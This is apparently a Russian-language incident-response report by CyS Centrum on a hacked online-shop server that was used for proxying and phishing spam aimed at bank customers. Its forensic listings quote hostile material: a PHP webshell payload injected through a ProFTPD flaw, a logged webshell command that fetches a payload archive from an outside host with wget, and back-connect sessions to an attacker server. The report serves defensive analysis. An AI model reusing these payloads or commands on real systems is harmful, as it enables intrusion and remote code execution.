В нынешнее время большая часть информационных активов размещена и доступна в сети Интернет. Вместе с тем, реализация киберугроз в отношении последних может отрицательно сказаться на ведении бизнеса в целом (к примеру, в последнее время участились случаи компрометации данных клиентов, обрабатываемых в информационных системах). В статье будет освещен один из кейсов, связанный со взломом Интернет-магазина и его использованием в злонамеренных целях.
Следуя просьбе одного из наших клиентов, обратившегося по случаю возникновения определенных проблем, связанных с функционированием Интернет-магазина, нами было произведено компьютерно-техническое исследование соответствующего веб-сервера. Задача сводилась к поиску возможных результатов взлома и иных последствий, которые могли бы касаться нарушения целостности, конфиденциальности или доступности самого Интернет-магазина и/или обрабатываемой в нем информации. Забегая наперед, отметим, что в результате исследования установлено, что сервер был скомпрометирован более года назад, а злоумышленники все это время использовали его в своих целях – для проксирования трафика, рассылки СПАМа и др.
На первом этапе, изучив файлы регистрации событий (далее – логи) веб-сервера, было определено наличие более десятка обфусцированных веб-шеллов, с помощью которых мог осуществляться удаленный скрытый доступ к веб-ресурсу. На рис. 1-3 приведены примеры всем известных веб-шеллов.
Рис. 1
Рис. 2
Рис. 3
Зачастую злоумышленники не осуществляют взлом ради взлома – в любом случае, с позиции взломщика, устройство, к которому получен несанкционированный доступ, может приносить пользу и использоваться по назначению злоумышленника.
Так было и в этот раз – обратив внимание на перечень запущенных процессов ($ ps -aux), невооруженным взглядом была определена аномалия, пример которой приведен на листинге 1.
root 5945 0.0 0.0 74408 6944 ? S 03:39 0:00 sendmail: MTA: ./t8LBpi8v020344 pop.gto.no.: user open root 6426 0.0 0.0 74500 6988 ? S 03:49 0:00 sendmail: MTA: ./t8LARTZ5027596 mx.stm.it.: user open root 7639 0.0 0.0 74716 7228 ? S 04:19 0:00 sendmail: MTA: ./t8LBYIbS010761 gtit.net.: user open root 8498 0.0 0.0 74344 6900 ? S 04:39 0:00 sendmail: MTA: ./t8LBaR05012256 gvhk.no.: user open root 8896 0.0 0.0 74340 6872 ? S 04:49 0:00 sendmail: MTA: ./t8LBZZ94011616 mail.hsd.no.: user open root 9236 0.0 0.0 74328 6852 ? S 04:59 0:00 sendmail: MTA: ./t8L9qoDi007051 consorzio.ph.: user open root 9724 0.0 0.0 74332 6848 ? S 05:09 0:00 sendmail: MTA: ./t8LBhvBR015257 hangout.no.: user open root 1063 0.0 0.0 74224 6820 ? S 05:39 0:00 sendmail: MTA: ./t8LBlTpK017700 hoyseter.no.: user open
Листинг 1
По непонятным причинам на сервере было запущено множество процессов sendmail (агент передачи почты) [1]. Еще более пугающим оказалось то, что процесс был запущен от пользователя “root”, что наталкивало на мысль о возможном повышении привилегий [2].
Конечно же, настроив сервер под свои нужды, злоумышленники предпринимают меры по обеспечению надежности и скрытости доступа к нему (чтобы в любой момент можно было им воспользоваться). В таких случаях, как правило (не говоря о размещении веб-шеллов, скрытых загрузчиков файлов, модификации .htaccess и др.), предпринимаются меры по установке бэкдора [3].
В тривиальных случаях для выявления бэкдора на сервере достаточно воспользоваться штатными утилитами:
- netstat
- lsof
Так мы и сделали. Сначала отобразили список установленных TCP-соединений (IP v.4) и соответствующих им процессов ($ netstat -pant4 | grep EST), листинг 2.
tcp 0 0 1.2.3.4:39577 217.160.6.81:21 ESTABLISHED 29983/sshd -D tcp 0 48 1.2.3.4:57897 5.6.7.8:43229 ESTABLISHED 5590/0 tcp 0 0 1.2.3.4:46741 217.160.6.81:80 ESTABLISHED 21309/apache2 -k start tcp 0 0 1.2.3.4:10000 121.42.210.61:61768 ESTABLISHED 10537/perl tcp 0 0 1.2.3.4:10000 210.70.60.137:60272 ESTABLISHED 15536/perl
Листинг 2
Как известно, по умолчанию веб-сервер работает на 80/tcp или 443/tcp сетевом порту. Из листинга 2 мы видим, по крайней мере, два подозрительных сетевых соединения (1 и 3 строки). Первое из них – это процесс 29983/sshd (а ведь ssh-сервер на исследуемом объекте “слушает” на порту 57897/tcp). А второе – процесс 21309/apache2 (в разрез тому, что штатный процесс веб-сервера “слушает” на 80 порту). Для простоты понимания отметим, что сервер с IP-адресом 217.160.6.81 является сервером злоумышленника, а на исследуемом сервере был обнаружен SSH-бэкдор. Из листинга 2 также понятно, что злоумышленники открыли обратные соединения (back-connect) к своему серверу 217.160.6.81 (сетевые порты 21 и 80 выбраны неспроста; основная цель – обход правил фильтрации информационных потоков, так как исходящий трафик на указанные порты, как правило, не фильтруется межсетевым экраном).
Более подробный анализ подозрительных процессов (с использованием утилиты lsof), еще раз подтвердил наличие аномалий.
$ lsof -p 29983 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME /usr/sbin 29983 www-data cwd DIR 9,2 4096 84936514 /tmp/no22 /usr/sbin 29983 www-data rtd DIR 9,2 4096 2 / /usr/sbin 29983 www-data txt REG 9,2 10456 60817668 /usr/bin/perl /usr/sbin 29983 www-data mem REG 9,2 18704 60820936 /usr/lib/perl/5.14.2/auto/IO/IO.so /usr/sbin 29983 www-data mem REG 9,2 35256 60820833 /usr/lib/perl/5.14.2/auto/Socket/Socket.so /usr/sbin 29983 www-data mem REG 9,2 35104 23858104 /lib/x86_64-linux-gnu/libcrypt-2.13.so /usr/sbin 29983 www-data mem REG 9,2 1599504 23858101 /lib/x86_64-linux-gnu/libc-2.13.so /usr/sbin 29983 www-data mem REG 9,2 131107 23858119 /lib/x86_64-linux-gnu/libpthread-2.13.so /usr/sbin 29983 www-data mem REG 9,2 530736 23858108 /lib/x86_64-linux-gnu/libm-2.13.so /usr/sbin 29983 www-data mem REG 9,2 14768 23858115 /lib/x86_64-linux-gnu/libdl-2.13.so /usr/sbin 29983 www-data mem REG 9,2 1574680 60820618 /usr/lib/libperl.so.5.14.2 /usr/sbin 29983 www-data mem REG 9,2 136936 23858123 /lib/x86_64-linux-gnu/ld-2.13.so /usr/sbin 29983 www-data 0r CHR 1,3 0t0 1028 /dev/null /usr/sbin 29983 www-data 1w FIFO 0,8 0t0 131853719 pipe /usr/sbin 29983 www-data 2w REG 9,2 7642973 52173945 /var/log/apache2/error.log.1 /usr/sbin 29983 www-data 3u IPv4 131857011 0t0 TCP Debian:39577->s310973323.onlinehome.info:ftp (ESTABLISHED) /usr/sbin 29983 www-data 15u REG 9,2 0 84936473 /tmp/ZCUDj2Ui3I (deleted)
Листинг 3
$ lsof -p 21309 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME /usr/sbin 21309 www-data cwd DIR 9,2 4096 84936480 /tmp/pp3 /usr/sbin 21309 www-data rtd DIR 9,2 4096 2 / /usr/sbin 21309 www-data txt REG 9,2 10456 60817668 /usr/bin/perl /usr/sbin 21309 www-data mem REG 9,2 18704 60820936 /usr/lib/perl/5.14.2/auto/IO/IO.so /usr/sbin 21309 www-data mem REG 9,2 35256 60820833 /usr/lib/perl/5.14.2/auto/Socket/Socket.so /usr/sbin 21309 www-data mem REG 9,2 35104 23858104 /lib/x86_64-linux-gnu/libcrypt-2.13.so /usr/sbin 21309 www-data mem REG 9,2 1599504 23858101 /lib/x86_64-linux-gnu/libc-2.13.so /usr/sbin 21309 www-data mem REG 9,2 131107 23858119 /lib/x86_64-linux-gnu/libpthread-2.13.so /usr/sbin 21309 www-data mem REG 9,2 530736 23858108 /lib/x86_64-linux-gnu/libm-2.13.so /usr/sbin 21309 www-data mem REG 9,2 14768 23858115 /lib/x86_64-linux-gnu/libdl-2.13.so /usr/sbin 21309 www-data mem REG 9,2 1574680 60820618 /usr/lib/libperl.so.5.14.2 /usr/sbin 21309 www-data mem REG 9,2 136936 23858123 /lib/x86_64-linux-gnu/ld-2.13.so /usr/sbin 21309 www-data 0r CHR 1,3 0t0 1028 /dev/null /usr/sbin 21309 www-data 1w FIFO 0,8 0t0 131775511 pipe /usr/sbin 21309 www-data 2w REG 9,2 7642973 52173945 /var/log/apache2/error.log.1 /usr/sbin 21309 www-data 3u IPv4 131769816 0t0 TCP Debian:46741->s310973323.onlinehome.info:http (ESTABLISHED) /usr/sbin 21309 www-data 15u REG 9,2 0 84936473 /tmp/ZCUDj2Ui3I (deleted)
Листинг 4
Из листингов 3 и 4 понятно, что (1) с исследуемого сервера установлено обратное соединение к серверу злоумышленника s310973323.onlinehome.info (217.160.6.81) и, что (2) очень подозрительно выглядит использование вышеуказанными процессами файлов из директорий /tmp/pp3 и /tmp/no22. Давайте проанализируем их содержимое (рис. 4).
Рис. 4
Забегая наперед, отметим следующее. Эти директории содержали скрипты, html-страницы и текстовые файлы (с перечнем электронных почтовых адресов), используемые для таргетированной рассылки СПАМа. В нашем случае эти СПАМ-кампании были нацелены на пользователей итальянских и норвежских (а также датских) банков. К слову говоря, первые два символа названия папки “no22” как раз и соответствуют стране атакуемых пользователей (NO – Norway). Удалось также определить, что для “норвежцев” (в теле СПАМ-письма) была уготована ссылка на троянскую программу для мобильных телефонов. В то время как итальянцам “засылали” ссылку на нечто неопределенное (в виду множества редиректов) но тоже вредоносное (исходя из записей на VirusTotal).
Содержимое файлов index.html (это как раз то, что вставляется в тело СПАМ-письма), отображено на рис. 5-6.
Рис. 5
Рис. 6
В обоих сообщениях доверчивому пользователю под разным “соусом” (“внутреннее сообщение от банка” или “угроза блокировки аккаунта Apple”) предлагают перейти по ссылке. Если посмотреть в исходный код этих html-страниц, то, конечно же, URL видимой в теле письма ссылки будет кардинально отличаться от того, куда злоумышленники хотят заставить перейти пользователей на самом деле (рис.7-8).
Рис. 7
Рис. 8
В целях эксперимента, с использованием ресурса VirusTotal (рис. 9), мы проанализировали репутацию домена oaza.tv на предмет наличия каких-либо отрицательных записей о нем (например, распространение вредоносных программ). Одна из записей на рис. 9 свидетельствует о том, что, по крайней мере, один из “вредоносов” (sha256: 7aad4657396514c56cd3438617df59953bed6988cde725a7c80b0ab3cc99694e) содержал в своей структуре строку с доменом oaza.tv. Более того, вышеуказанный файл определялся одним из антивирусов как вредоносный (рис. 10).
Рис. 9
Рис. 10
Не оставляет сомнений, что исследуемый сервер использовался злоумышленниками для рассылки СПАМа с целью распространения ссылок на вредоносные программы. Для полноты картины приведем содержимое файла x.php, который как раз и содержит код для автоматической рассылки СПАМа (рис. 11).
Рис. 11
Как и отмечалось ранее, файл list.txt содержит перечень электронных почтовых адресов, на которые следует доставлять СПАМ. Пример такого списка, с фильтром по строке “bank”, отображен на рис. 12.
Рис. 12
Конечно же, одной из составляющих частей исследования является идентификация причин, поспособствовавших реализации угрозы получения третьими лицами несанкционированного доступа к серверу. В описываемом случае все было довольно тривиально – злоумышленники проэксплуатировали уязвимость в программном обеспечении ProFTPD 1.3-1.3.5, позволяющую неавторизованному удаленному пользователю копировать файлы в пределах пространства сервера [4]. Техническое подтверждение нашего предположения обнаружено в логах (листинг 5).
$ cat proftpd.log.1 | grep 'Permission denied' Sep 13 11:54:01 Debian proftpd[9796] Debian (s310973323.onlinehome.info[217.160.6.81]): error opening destination file '/tmp/.<?php passthru($_GET['cmd']);echo 'm3rg3';?>' for copying: Permission denied
Листинг 5
После успешной эксплуатации уязвимости на сервер были “докачаны” другие, необходимые злоумышленнику, программы (листинг 6).
185.56.80.192 - - [13/Sep/2015:12:48:04 +0200] "GET /d.php?cmd=wget%http://103.1.185.91/send/m.tgz HTTP/1.1" 200 341 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0"
Листинг 6
Это, пожалуй, всё. Подведем итоги и структурируем изложенный материал.
- Интернет-магазин в наше время (для определенных категорий людей), это основа бизнеса, его ключевой актив. Нарушение режима его штатной работы может не только поспособствовать добавлению IP-адреса/домена веб-сервера в блэк-листы (тем самым понизив индексируемость, посещаемость), а и привести к компрометации учетных записей пользователей (что так часто стало случаться в последнее время) или же выведению его из строя на определенный срок.
- К настройке веб-сервера и обеспечению его безопасности следует подходить со всей серьезностью и ответственностью, не пренебрегая элементарными правилами безопасности (контроль целостности, протоколы с шифрованием, ограничение доступа, мониторинг событий информационной безопасности, контроль уязвимостей и актуальности ПО и др.).
Специалисты CyS Centrum неоднократно обеспечивали реагирование на инциденты, связанные со взломами веб-ресурсов. В виду этого, накопленный опыт и собственные практические наработки позволяют обеспечивать надежную и комплексную защиту "Интернет-активов".
Отдел реагирования на инциденты CyS Centrum
Ссылки:
[1] https://ru.wikipedia.org/wiki/Sendmail
[2] https://ru.wikipedia.org/wiki/Повышение_привилегий
[3] https://ru.wikipedia.org/wiki/Бэкдор
[4] https://xakep.ru/2015/06/22/exploits-196/